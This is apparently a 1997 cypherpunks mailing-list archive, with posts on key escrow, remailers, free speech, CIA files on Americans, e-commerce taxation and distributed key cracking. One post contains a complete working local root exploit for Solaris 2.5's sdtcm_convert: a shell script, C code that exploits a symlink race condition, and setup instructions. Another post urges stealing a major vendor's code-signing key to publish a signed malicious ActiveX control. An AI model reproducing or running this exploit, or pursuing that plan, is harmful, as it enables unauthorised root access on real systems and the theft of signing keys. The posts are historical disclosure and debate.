Predictions for the Year 1. Encryption without "Key Escrow" will be outlawed. The remailer network will be shutdown following highly public raids that result in equipment seizures and prosecution of the remailer operators using RICO statutes after agents provocateur post terrorist threats to the Internet. 2. Tobacco companies will cave in to the states on liability for medical costs and declare bankruptcy. The few remaining small companies not party to the suits will see themselves targeted after prices on a pack of cigarettes rises to 1000% of the current price. Two years from now, cigarettes will be almost impossible to get and result in smuggling on a scale that dwarfs cocaine and marijuana trafficing. 3. The NSA's prohibition on domestic surveillance will be lifted following allegations of massive money laundering via the Internet and rumors that major American banks have been raided via the net by Russian mafia. 4. The IRS will go to court to force the National Rifle Association to turn over its membership lists as the agency audits the books of the non-profit organization. After obtaining the lists, the IRS will target the members for special auditing programs. 5. The FBI will direct the implementation of the Digital Telephony Act after Congress finally caves in and provides the funding. A new protocol for wiretapping will be implemented as provided for in the Act that does not allow for judicial review. 6. The Supreme Court will surprise everyone by upholding the Communications Decency Act in a 5-4 decision. The FBI will stage widely publicized raids on the most visible adult web sites. Pan D. Modium pandemodium(a)nym.alias.net "May you live in interesting times." -- ancient Chinese curse

3 2

Low-Risk Remailer Proposal
by Sergey Goldgaber 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I would like to propose that persons wishing to run remailers but concerned about possible political reprecussions institute a policy of remailing only to other remailers. This would increase the total number of remailers, and decrease the chances that all or most of the available remailers are compromised. ............................................................................ . Sergey Goldgaber <sergey(a)el.net> System Administrator el Net . ............................................................................ . The path of least resistance leads to mediocrity. . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.efh.org/pgp/pgpwork.html explains this signature. iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM 5mUBCGtJngo= =UlcG -----END PGP SIGNATURE-----

1 0

Re: Dark Times Ahead
by mpd＠netcom.com 17 Dec '03

17 Dec '03

Timothy C. May writes: > Oh? And will the First Amendment then be repealed? > "Congress shall make no law respecting the establishment of speech or > prohibiting the free exercise thereof" seems rather clear: Congress cannot > insist that a particular form of speech be used to the exclusion of others. > A ban on coding messages, speaking in languages unintelligible to > wiretappers, etc., would quite clearly be thrown out on First Amendment > grounds, from everything I know of the Supreme Court and its reasoning. The Supremes can bypass the First Ammendment anytime they choose by simply mumbling something about "society's overwhelming interest in protecting itself." Indeed, the plethora of regulation against various forms of "bad" speech concerning children and their sexuality is the clearest example of this, with the Knox "clothed child porn" decision, and the recent Hatch nonsense making any suggestion of underage sexual activity illegal, regardless of whether underaged models were involved in its production. I expect textual material will be outlawed in a few years as well, as a "loophole" in the current laws, since real children no longer have to be associated with such material in order for it to be deemed harmful. Once that happens, a whole bunch of other things will probably be outlawed shortly thereafter, the criteria being that they are certainly as dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." Expect bombmaking instructions, anti-government tracts, cryptography, and most Loompanics books to be included here. > And so on. Banning unescrowed cryptography would result in the Mother of > all Constitutional challenges, and would, I am sure, result in such a ban > being declared unconstitutional. If throwing Alice in jail because she used > a form of speech unacceptable to the rulers is not a violation of the > First, nothing is. The frog is nearly boiled. If the Mother of all Constitutional Challenges hasn't happened by now, it isn't going to. This is a country that throws grad students in prison for possessing films of young girls doing gymnastics. What makes you think unescrowed cryptography has some special hallowed status? The First Ammendment is useless, as there are clear counterexamples to unlimited free speech. That makes it a matter of interpretation, and the courts will interpret it according to the existing level of public hysteria. The Fourth Ammendment only guarantees us "due process." We do not, as some countries do, have a strong privacy provision written into our Constitution. I have always held that a well-written privacy provision keeping the government out of peoples homes and personal possessions is worth ten First Ammendments. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd(a)netcom.com $ via Finger. $

1 0

Exploit for sdtcm_convert - Solaris 2.5 - second
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sun Feb 23 10:36:58 EET 1997 Romania "Exploit for sdtcm_convert - Solaris 2.5" I send you an e-mail about a bug and an exploit for sdtcm_convert. (sdtcm_convert allows you to become owner of any file or directory from the system - and gain root access ) First, there was some problems with my uuencoded exploit (some damaged it on the route...) so i'll resend you the files for exploit. Second, Casper Dick send me: >Is this the bug fixed in the Sun patches: >103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability >103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability >103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86 version) >103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86 version) >or is it a new one? >Casper I cant found this patches to verify if that fix the problem i have found or not. Anyway you have an exploit ! (execute 'thefist' and wait) Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 ------------------------- file thefirst ------------------------------------ /bin/echo "orange.c -> orange" gcc -o orange orange.c /usr/ucb/whoami > wh read USER < ./wh #watching for callog file if it isnt will stop if ! test -f /var/spool/calendar/callog.$USER; then /bin/echo "I cant found callog file. Please read README and create it" exit; fi /bin/echo "what's the target ???" read TARGET /bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon /bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon /bin/chmod 700 ./lemon ./orange $TARGET $USER ------------------------- end -------------------------- ------------------------ file orange.c --------------------------- #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define path "/var/spool/calendar/callog." void main(int argc, char *argv[]) { int pid,filedes[2]; FILE *f; struct stat info; long i; char target[128],shift[128]; strcpy(target,argv[1]); strcpy(shift,path); strcat(shift,argv[2]); if(pipe(filedes)) { perror("cant crate pipe\n"); exit(0); } if(pid=fork()==0) { for(i=0;i<30000000;i++); unlink(shift); symlink(target,shift); write(filedes[1],"y\n",sizeof("y\n")); } else { close(0); dup(filedes[0]); system("lemon"); stat(target,&info); if(info.st_uid==getuid()) printf("COLL I did IT !!!\n"); } } ------------------------ end ---------------------------- ------------------------ file README ---------------------- *How to make a simple callog file* If you dont have a /var/spool/calendar/callog.YOU edit callog.example, replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your machine name (try first the short name, example: sundy and if you'll have troubleshotings try the long name, example sundy.cs.pub.ro). After that copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run once sdtcm_convert with your user name (example sdtcm_convert skipo) and wait for corrections. Now you are ready to run the exploit. Another way is to run calendar tool from CDE. ------------------------- end ------------------------------- ------------------------ file callog.example ------------------------ Version: 4 **** start of log on Fri Dec 6 14:07:43 1996 **** (calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1") ("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z") ("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN") ("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN") ) -------------------------- end --------------------------------

1 0

Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
by Sean Roach 17 Dec '03

17 Dec '03

At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote: >--- begin forwarded text ... >This symposium will consider a wide range of issues, including: > >**Differences in determining the electronic commerce income >tax base. Should source or residence rules be used, or should >some form of formulary apportionment be applied? > >**Problems in imposing retail sales taxes on electronic sales. >Should traditional nexus rules apply? > >**Problems in determining the value added by electronic >commercial inputs. Should a tax be determined based on the >'bits' of information? If so, should each 'bit' be valued the >same? > >**Problems involving the harmonization of tax rules. >International and sub-national aspects of this problem will be >considered. OECD efforts in this area will be contrasted with >proposed uniform state legislation in the US. > >**Throughout the symposium the impact that these tax decisions >will have on cross-border investment decisions will be a primary >concern. ... "Toll" tax. If each packet were "taxed" as it entered a system, and due to the nature of the internet, when traffic increases in certain areas, prices would go up, driving activity back down, then each area could "tax" what it wanted. The only real problem would be how to get people to pay. Unlike the toll booth at the entrance to a turnpike, internet users don't keep exact change. There is no window to roll down to hand the attendant the money, there is no accepted currency to hand the attendant either. Taxation can't really begin until e-cash equipped browsers are common. Plus, executables are fairly large, while text files tend to be small, adding a bias against executables, images, and audio files. In addition, since the packets have to originate from somewhere, the location of the poster would get to tax at least. Of course, if such a system were not mandatory in a region, then "freenets" would get a whole new meaning.

1 0

CIA Lie
by John Young 17 Dec '03

17 Dec '03

The Washington Post, February 20, 1997, p. A22: Domestic CIA Snooping The CIA's assertion on its Web page that the agency does not keep files on Americans is not in fact true ["In the Loop," Federal Page, Feb. 12]. The agency opened a file on my client, Daniel Tsang, a political activist and librarian at the University of California at Irvine, in the 1980s and recorded his constitutionally protected activities. When we sued the agency, we discovered that no agency directives prohibit the maintenance of such files and the CIA lawyers made the extraordinary claim that it is legal for the agency to keep files on Americans, including on citizens' First Amendment activities. The CIA claimed that it is exempt from Privacy Act restrictions on such practices. While the CIA eventually agreed to expunge Mr. Tsang's file and promised to refrain from opening such files on him in the future, it refused to acknowledge any limitation on its authority to keep files on other Americans. It should do so now. Kate Martin Washington The writer is director of the Center for National Security Studies, a project of the Fund for Peace. -----

2 1

Re: Dark Times Ahead
by jim bell 17 Dec '03

17 Dec '03

At 11:38 PM 2/22/97 -0800, Mike Duvos wrote: >Timothy C. May writes: > >> Oh? And will the First Amendment then be repealed? > >> "Congress shall make no law respecting the establishment of speech or >> prohibiting the free exercise thereof" seems rather clear: Congress cannot >> insist that a particular form of speech be used to the exclusion of others. > >> A ban on coding messages, speaking in languages unintelligible to >> wiretappers, etc., would quite clearly be thrown out on First Amendment >> grounds, from everything I know of the Supreme Court and its reasoning. > >The Supremes can bypass the First Ammendment anytime they choose by simply >mumbling something about "society's overwhelming interest in protecting >itself." I'd sure like to know how they figure out what "society" really wants to do! In April of 1993, which the original Clipper chip/system was proposed, not all that many people had even heard of the Internet, and far fewer were aware of the details of encryption. Surely they didn't mean to suggest that "society" was in favor of Clipper? Blissfully ignorant, perhaps, but not in favor! (B^) Obviously, with their "If you only knew what we know" they'll claim that the public would have favored Clipper if it knew the real problems, but the way I see it, if they REALLY believed that there was a serious threat to anything other than merely their jobs, they would have done a better job convincing the public. Jim Bell jimbell(a)pacifier.com

1 0

Re: An Overweening Faith in the Supreme Court
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Pan D.Modium" <pandemodium(a)nym.alias.net> writes: > In short, America has been sliding down the path to fascism at an > amazing pitch since the early 80's. Not once in history has a country > gone this far down the path to tyranny and turned back. America will > not be the first. Dunno about turning back but the U.S. does resemble in many ways Argentina in the '40's and '50's. (It resembles the U.S.S.R in the '70's in yet other ways. :-) So, can you think of a good country to move to, besides Israel? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Re: Dark Times Ahead - sort of off-topic
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Toto <toto(a)sk.sympatico.ca> writes: > Martin Minow wrote: > > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are > > a choice smuggling item. > > > I vaguely recall a price of $200 per > > cigarette (but note that, in a prison economy, the "dollar" is > > only loosely connected to reality. > > If it's been a while since you were released, then the prices > have probably changed. Ask Randall Schwartz (spit). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Re: CIA Lie
by jim bell 17 Dec '03

17 Dec '03

At 03:18 PM 2/23/97 -0800, Greg Broiles wrote: >I received a reply to my FOIA request re cpunks to the CIA; it indicates >that they "doubt" that they have any records responsive to my request, and >think I'd be better served by writing to the FCC. (?!) It's at ><http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back >and ask them to actually comply with FOIA, e.g., look through their files, >instead of just guessing that there probably isn't anything in there. You could have said to them, "If you can't find anything, maybe you could make something up, okay?" Jim Bell jimbell(a)pacifier.com

2 1

It is time to break Authenticode
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Microsoft's recent arrogant and irresponsible reply to the Chaos Computer Club hack on ActiveX requires response. An effective response would be to steal the key of a major code signer and produce a signed, malicious ActiveX control. Such an attack would demonstrate the serious problems of Microsoft's security philosophy. Hackers have known since ActiveX was announced that its security model is ridiculous. Signatures are not enough to protect users from malicious code. Exploder and the CCC hack have done a great job of demonstrating practical examples of why ActiveX is dangerous. The CCC hack in particular has made the ActiveX security issue visible enough that Microsoft has been forced to respond publically. Unfortunately, their published response on http://www.microsoft.com/security/ does not begin to admit the fundamental flaws in ActiveX. Instead, they continue to hide behind code signatures and mislead the public that their system is no less secure than Java. The obvious response to Microsoft's attempt at damage control is to demonstrate an attack with a control signed by a reputable party. There are three ways to do this: subvert an existing signed control, subvert the signature protocols, or steal a signing key. Subverting existing signed controls is an interesting avenue. Currently used ActiveX controls have implementation bugs that could be exploited in an attack. Finding one would be a fair amount of work, however, and a successful attack would only show that code has bugs, not demonstrate the fundamental flaw in relying on code signatures. The signature protocols of Authenticode are presumably secure - getting signatures right is well understood. Still, does anyone have information on exactly how the signatures work? The best avenue of attack is stealing the secret key of a respected code signer. The target should be one of the major players, if not Microsoft itself. Someone is sloppy to store their secret key on a machine hooked to the Internet. Stealing it would be a very nice challenge. It should be doable. Stealing the key itself will almost certainly be an illegal act. Morally, the demonstration signed control should itself not do damage. Something like the Exploder control (which warns the user before shutting down the machine) should be good enough to show the flaws of ActiveX without causing trouble. A public discussion about how to best go about this attack should be interesting. For obvious reason, the attack itself would have to be done in secrecy.

1 0

Distributed cracks, law, and cryptoanarchy
by gbroiles-nospam＠netbox.com 17 Dec '03

17 Dec '03

Some thoughts about the distributed crack/reward distribution thing: The "you must report results only to the crack organizers" rule can be enforced if it's made into a contract. Even without a formal contract, I think it's plausible to argue that pretending to participate in the distributed crack, *and representing that to the organizers and thereby gaining access to their private database of already-searched keyspace*, and using that information for one's own private gain, could reasonably be construed as fraud. (depending on your jurisdiction, blah blah blah. But the general pattern - knowing misrepresentation, foreseeable & intended reliance, loss to one party is gain for another - is right at the heart of common-law fraud. The "widely distributed computing" approach depends for economic viability (as opposed to being just an amusing hobby) on preserving the confidentiality of input and output datasets. This protection can be (and will be) provided by both law and technology. The technological side will likely depend on programs distributed as executables only. This implies a client-side "sandbox" environment such as Java so that the software can't get to any of the local hardware (except the processor & display). If distributed crack organizers can be confident that they'll be able to reap the benefits of their organizing, they can offer payments to unsuccessful participants. This approach (tiny payments for idle cycles) scales better to real-world distributed computing problems than the all-or-nothing $10K approach. Because of the need for confidentiality, real-world distributed computing problems are unlikely to give participants a chance at a "big win" if they cheat somehow. (For example, assume Eve intercepts some ciphertext, and she knows enough about the structure of it that she can predict some of its contents (like message headers, or TCP/IP headers) - she will ask for keys which decrypt [a tiny piece of] the headers, and save the juicy data for herself. A cheating participant in the distributed crack gains very little by keeping the winning result to him/herself, unless she knows more about the context of Eve's interception.) I'm suspicious of the idea that a lot of people are going to meaningfully participate in the crack because they've got a "chance" to win $10K; assuming a wide distribution of client software, the chances that any particular client will hit the key is unlikely to be better than 1 in 10,000 or so (and my hunch is it's more like 1 in 100,000) .. which means that the "chance" is worth somewhere between $1 and $.10. Personally, I'd be more motivated by the idea that the crack might help kill stupid export control laws. Then again, I'm one of those people who won't buy lottery tickets. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

6 6